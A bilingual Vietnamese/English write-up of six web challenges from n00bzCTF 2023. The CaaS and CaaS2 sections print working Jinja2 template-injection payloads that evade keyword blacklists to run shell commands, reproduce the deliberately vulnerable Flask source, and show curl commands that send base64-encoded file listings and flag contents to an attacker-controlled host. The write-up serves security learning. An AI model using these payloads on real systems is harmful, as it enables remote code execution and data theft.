# n00bzCTF 2023 Writeup Web Mặc dù đã team đã clear hết mảng, nhưng do mình làm ra muộn nên chỉ đạt top 7 giải này. Sr team rất nhiều... Giải có 2 bài web cuối SSTI khá là hay nên mình quyết định viết wu để cho nhớ ## | Category | Challenge Name | Difficulty | | -------- | -------------- | ---------- | | Web | Club_N00b | Easy | | Web | Robots | Easy | | Web | Secret Group | Easy | | Web | Conditions | Easy | | Web | CaaS | Medium | | Web | CaaS2 | Medium | Author: @NoobMaster x @0xBlue ## Club_N00b Mấy bài đầu mình sẽ up payload và lướt qua nhanh, vì là blackbox ![](https://hackmd.io/_uploads/HJU8lz7Dh.png) Chú ý ở đây có nhắc tới `radical`. Thử sử dụng chức năng Check Status, có một parameter secret_phrase = nope. Chỉ cần thay thành radical sẽ có flag ![](https://hackmd.io/_uploads/BkimWfmv2.png) ## Robots Ngay tên bài làm mình nghĩ đến ngay file [robots.txt](https://fptcloud.com/file-robots-txt/) ![](https://hackmd.io/_uploads/rJk_-fXP2.png) Chỉ cần thay đổi lại đường dẫn là ok ![](https://hackmd.io/_uploads/Hyd1QzmD2.png) ## Secret Group Khi truy cập web thì có nhận được agent không phải là `n00bz-4dm1n` Mình nghĩ ngay đến bài này sẽ check HTTP header ![](https://hackmd.io/_uploads/BJgGQzXDh.png) Chỉ cần sửa các thành phần trong request gửi lên là có flag ![](https://hackmd.io/_uploads/HkSyEMmD3.png) ## Conditions ![](https://hackmd.io/_uploads/BybmNfmDh.png) Chúng ta có một chức năng input username vào, và source code của tác giả cung cấp: ```python @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'GET': return render_template('login.html') elif request.method == 'POST': if len(request.values["username"]) >= 40: return render_template_string("Username is too long!") elif len(request.values["username"].upper()) <= 50: return render_template_string("Username is too short!") else: return flag ``` Sau khi input username: - if đầu tiên check nếu length username >= 40 thì sẽ return "too long" - tiếp theo nếu username.upper() <= 50 thì sẽ return "too short" ![](https://hackmd.io/_uploads/H1u4HGmvn.png) hmm nếu input string bình thường thì chúng ta không thể pass qua cả 2 điều kiện để có flag. Vì upper() chỉ là hàm in hoa string. Sau một hồi tìm hiểu thì mình kiếm được ký tự đặc biệt :v ![](https://hackmd.io/_uploads/ByF2SMXvh.png) Wow :v vậy là chúng ta chỉ cần input 49 lần ký tự đặc biệt và 49 * 3 > 50. Ok nice Mình viết script request lên để lấy flag, vì BurpSuite khá là cùi khi xử lý mấy ký tự unicode ```python import requests url = "http://challs.n00bzunit3d.xyz:42552/login" r = requests.post(url, data = {"username" : 'ffi'*39}) print(r.text) ``` ![](https://hackmd.io/_uploads/S1nwLzQv3.png) ## CaaS ### Source code: ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#'] for b in blacklist: if b in inp: return "Blacklisted word!" if len(inp) <= 70: return inp if len(inp) > 70: return "Input too long!" @app.route('/') def main(): return redirect('/generate') @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'GET': return render_template('generate_certificate.html') elif request.method == 'POST': name = blacklist(request.values['name']) teamname = request.values['team_name'] return render_template_string(f'<p>Haha! No certificate for {name}</p>') if __name__ == '__main__': app.run(host='0.0.0.0', port=52130) ``` ### Idea: - Sau khi nhìn qua source code, mình khá là bất ngờ vì số lượng filter lớn, thêm nữa là giới hạn số ký tự mình đưa vào. - Khá là ban căng :v Bạn nào chơi CTF mảng web chắc cũng nhìn ra được đây là một bài khai thác SSTI (Lỗi ở hàm render). Để rõ hơn các bạn có thể tìm hiểu ở [đây](https://secure-cookie.io/attacks/ssti/) - Nếu bài này chúng ta chỉ copy và đọc payload ở Payloads All The Thing thì khá là stuck. ![](https://hackmd.io/_uploads/rkgftfQwn.png) - Mục tiêu của payload là truy cập đến module 'os' để thực hiện các command. - Bởi vì cycler, joiner, lipsum class đều nằm trong blacklist nên ta chỉ có sử dụng được namespace. Nếu sử dụng cách này payload sẽ là như sau: `{{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}` Khoảng 80 - 90 ký tự để thực hiện. `__init__` bị cấm nên mình dùng `['__ini''t__']` để bypass. Và `()` trở thành `(+)` Vậy nên mình chuyển hướng qua sử dụng [global variables](https://flask.palletsprojects.com/en/2.0.x/templating/) để tìm gadget vào `__globals__` ![](https://hackmd.io/_uploads/ByGTrmQP3.png) - Mình thấy biến global `g` là ngắn nhất nên quyết định sử dụng nó để build ### Exploit Hình dung thì payload mình sẽ như thế này ``` name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}} ``` Khoảng 83 ký tự, và giờ mình sẽ bắt đầu giảm số lượng xuống và để tránh blacklist Ở trong python thì chúng ta có số một số cách để get giá trị input ![](https://hackmd.io/_uploads/rJUw_Q7wn.png) Mình sẽ dùng nó để đưa vào những chỗ có chuỗi string. Đó là lý do vì sao mình lại sử dụng eval. Bên trong nó là một chuỗi string command nên mình tối ưu được rất nhiều ``` name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}} ``` Và parameter a chúng ta sẽ thêm vào trong request : ![](https://hackmd.io/_uploads/HyQbK7Qv3.png) (Ảnh trên là mình test ở local, nới rộng thêm số ký tự input vào để test) ![](https://hackmd.io/_uploads/BJs3tmQP3.png) Cuối cùng RCE trên server để lấy flag. Command chúng ta được lấy từ parameter `a` nên sử dụng thoải mái, không bị check. ![](https://hackmd.io/_uploads/H1OMc7Xw2.png) Payload: ``` name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc ``` Source code bài này nếu các bạn muốn tự build làm lại(Đã chỉnh sửa length input): - Bắt buộc: [install flask](https://pypi.org/project/Flask/) ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#'] for b in blacklist: if b in inp: return "Blacklisted word!" if len(inp) <= 1000: return inp if len(inp) > 1000: return "Input too long!" @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'POST': name = blacklist(request.values['name']) teamname = request.values['team_name'] return render_template_string(f""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>cc</title> </head> <body> <p1> {name} </p1> </body> </html> """,name=name) if __name__ == '__main__': app.run(host='0.0.0.0', port=52130) ``` ## CaaS2 Đây là bài quyết định top 4 cho team, tuy nhiên lúc đó đã là 12h đêm, não mình lúc đấy hơi ... Nên sáng hôm sau mới làm xong mặc dù đêm đó đã gen được payload đúng. So sad... :( ### Source code: ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.'] for b in blacklist: if b in inp: print(b) return "Blacklisted word!" if len(inp) <= 70: return inp if len(inp) > 70: return "Input too long!" @app.route('/') def main(): return redirect('/generate') @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'GET': return render_template('generate_certificate.html') elif request.method == 'POST': name = blacklist(request.values['name']) return render_template_string(f'<p>Haha! No certificate for {name}</p>') if __name__ == '__main__': app.run(host='0.0.0.0', port=49064) ``` ### Idea - Bài này tương tự tuy nhiên filter cực mạnh :v một số ký tự không được cho phép. - Ví dụ như `g` ở payload trước mình vừa sử dụng. Họ đã check ở bài này. - Ok tương tự như ở phân tích trên. Chúng ta sẽ đi tìm những biến global để đi trace đến gadget 'os'. ### Exploit ``` POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1 name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}} ``` - Ở bài này eval dính blacklist nên mình sử dụng exec. Tuy nhiên cần biết một điều là exec sẽ return `None` ![](https://hackmd.io/_uploads/SJidyNmv2.png) ![](https://hackmd.io/_uploads/rJhqyEQP2.png) - Nên có 2 hướng để chúng ta làm: Revereshell hoặc Out of band - Mình đã thử nc về máy mình tuy nhiên không thấy phản hồi (Có lẽ cách này tạch). - Vậy thì mình sẽ thử curl xem có ổn không. ![](https://hackmd.io/_uploads/rybMlV7vh.png) - Ok vậy là thành công, mình tính thử ngay với wget để đọc file flag cho nhanh, tuy nhiên cách này lại không có phản hồi. Vì file flag không phải tên là flag.txt nữa. - Bây giờ mình cần list ra file để tìm flag, sử dụng thêm base64 để đọc được hết các file khác: ``` a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`") ``` ![](https://hackmd.io/_uploads/H1rWZ47Dh.png) ``` a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`") ``` Cuối cùng chỉ cần cat file flag là xong. ![](https://hackmd.io/_uploads/Bke8W4QPn.png) Payload: ``` a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`") ``` --------------------------------------- # Write up Version English ## Club_N00b For the first few challs, I will upload the payload and quickly skim through it because it is a blackbox. ![](https://hackmd.io/_uploads/HJU8lz7Dh.png) Note that `radical` is mentioned here. Try using the Check Status function with a parameter called secret_phrase set to nope. Just replace it with radical and you'll get the flag ![](https://hackmd.io/_uploads/BkimWfmv2.png) ## Robots The name of the task immediately makes me think of a file [robots.txt](https://fptcloud.com/file-robots-txt/) ![](https://hackmd.io/_uploads/rJk_-fXP2.png) Just change the path and it's okay. ![](https://hackmd.io/_uploads/Hyd1QzmD2.png) ## Secret Group When accessing the website, you receive an agent that is not n00bz-4dm1n, I immediately think chall will check the HTTP header. ![](https://hackmd.io/_uploads/BJgGQzXDh.png) Just modify the components in the sent request and you will get the flag. ![](https://hackmd.io/_uploads/HkSyEMmD3.png) ## Conditions ![](https://hackmd.io/_uploads/BybmNfmDh.png) "We have a feature to input username, and the author's provided us with the source code: ```python @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'GET': return render_template('login.html') elif request.method == 'POST': if len(request.values["username"]) >= 40: return render_template_string("Username is too long!") elif len(request.values["username"].upper()) <= 50: return render_template_string("Username is too short!") else: return flag ``` After inputting the username: - The first if statement checks if the length of the username is greater than or equal to 40, then it will return "too long". - Next, if username.upper() <= 50, then it will return "too short"." ![](https://hackmd.io/_uploads/H1u4HGmvn.png) Hmm, if we input a normal string, we can't pass both conditions to get the flag. Because upper() is just a function to convert the string to uppercase. After researching for a while, I found a special character :v ![](https://hackmd.io/_uploads/ByF2SMXvh.png) Wow :v so we just need to input 49 special characters and 49 * 3 > 50. Ok, nice. I'll write a script to send the request and get the flag because BurpSuite is not very good at handling Unicode characters ```python import requests url = "http://challs.n00bzunit3d.xyz:42552/login" r = requests.post(url, data = {"username" : 'ffi'*39}) print(r.text) ``` ![](https://hackmd.io/_uploads/S1nwLzQv3.png) ## CaaS ### Source code: ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#'] for b in blacklist: if b in inp: return "Blacklisted word!" if len(inp) <= 70: return inp if len(inp) > 70: return "Input too long!" @app.route('/') def main(): return redirect('/generate') @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'GET': return render_template('generate_certificate.html') elif request.method == 'POST': name = blacklist(request.values['name']) teamname = request.values['team_name'] return render_template_string(f'<p>Haha! No certificate for {name}</p>') if __name__ == '__main__': app.run(host='0.0.0.0', port=52130) ``` ### Idea: - After looking through the source code, I was quite surprised by the large number of filters and the limit on the number of characters I could input. - It's quite challenging :v If you play web CTFs, you can probably see that this is an SSTI exploit (the vulnerability is in the render function). To learn more, you can check it out [here](https://secure-cookie.io/attacks/ssti/) - If we only copy and read the payloads in Payloads All The Things for this task, we will be stuck ![](https://hackmd.io/_uploads/rkgftfQwn.png) - The goal of the payload is to access the 'os' module to execute commands. - Because cycler, joiner, and lipsum class are all in the blacklist, we can only use the namespace. If we use this method, the payload will be like this: `{{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}` Around 80-90 characters to execute. `__init__` banned so I'm using `['__ini''t__']` to bypass. And `()` trở become `(+)` So I switched to using [global variables](https://flask.palletsprojects.com/en/2.0.x/templating/) To find gadgets in `__globals__` ![](https://hackmd.io/_uploads/ByGTrmQP3.png) - I found that the global variable `g` is the shortest, so I decided to use it to build. ### Exploit You imagine that my payload will look like this ``` name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}} ``` About 83 characters, and now I'll start reducing the number to avoid the blacklist. In Python, we have several ways to get the input value. ![](https://hackmd.io/_uploads/rJUw_Q7wn.png) I will use it to insert values into string variables. That's why I used eval. Inside it is a string command, so I can optimize a lot ``` name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}} ``` And we will add the parameter `a` to the request. : ![](https://hackmd.io/_uploads/HyQbK7Qv3.png) (The image above is my local test, expanding the number of characters input for testing) ![](https://hackmd.io/_uploads/BJs3tmQP3.png) Finally, we can RCE on the server to get the flag. We can use commands from the `a` parameter without being checked. ![](https://hackmd.io/_uploads/H1OMc7Xw2.png) Payload: ``` name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc ``` Here's the source code for this task if you want to rebuild it(I've adjusted the input length): - Required: [install flask](https://pypi.org/project/Flask/) ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#'] for b in blacklist: if b in inp: return "Blacklisted word!" if len(inp) <= 1000: return inp if len(inp) > 1000: return "Input too long!" @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'POST': name = blacklist(request.values['name']) teamname = request.values['team_name'] return render_template_string(f""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>cc</title> </head> <body> <p1> {name} </p1> </body> </html> """,name=name) if __name__ == '__main__': app.run(host='0.0.0.0', port=52130) ``` ## CaaS2 ### Source code: ```python #!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.'] for b in blacklist: if b in inp: print(b) return "Blacklisted word!" if len(inp) <= 70: return inp if len(inp) > 70: return "Input too long!" @app.route('/') def main(): return redirect('/generate') @app.route('/generate',methods=['GET','POST']) def generate_certificate(): if request.method == 'GET': return render_template('generate_certificate.html') elif request.method == 'POST': name = blacklist(request.values['name']) return render_template_string(f'<p>Haha! No certificate for {name}</p>') if __name__ == '__main__': app.run(host='0.0.0.0', port=49064) ``` ### Idea - This chall is similar, but the filter is very strong :v. Some characters are not allowed, for example, `g` which I used in the previous payload. They checked it in this chall. 0 Okay, as before, we will look for global variables to trace to the 'os' gadget. ### Exploit ``` POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1 name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}} ``` - `eval` is blacklisted so I will use `exec`. However, one thing to keep in mind is that exec will return None ![](https://hackmd.io/_uploads/SJidyNmv2.png) ![](https://hackmd.io/_uploads/rJhqyEQP2.png) - So there are two ways we can do this: Reverse Shell or Out-of-band. - I tried to use `netcat` to send it back to my machine, but didn't get a response (maybe this method failed). - So i will try `curl` command ![](https://hackmd.io/_uploads/rybMlV7vh.png) - Okay, so it was successful. I wanted to try using wget to quickly read the flag file, but this method didn't work. It could be because the flag file is not named flag.txt anymore. - Now I need to list the files to find the flag, and I'll also use base64 to read all the other files: ``` a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`") ``` ![](https://hackmd.io/_uploads/H1rWZ47Dh.png) ``` a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`") ``` Finally, just `cat` the flag file and we're done. ![](https://hackmd.io/_uploads/Bke8W4QPn.png) Payload: ``` a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`") ``` ## Thanks > **Thank you to the author for bringing us such great challenges. We hope that next year will be just as amazing.**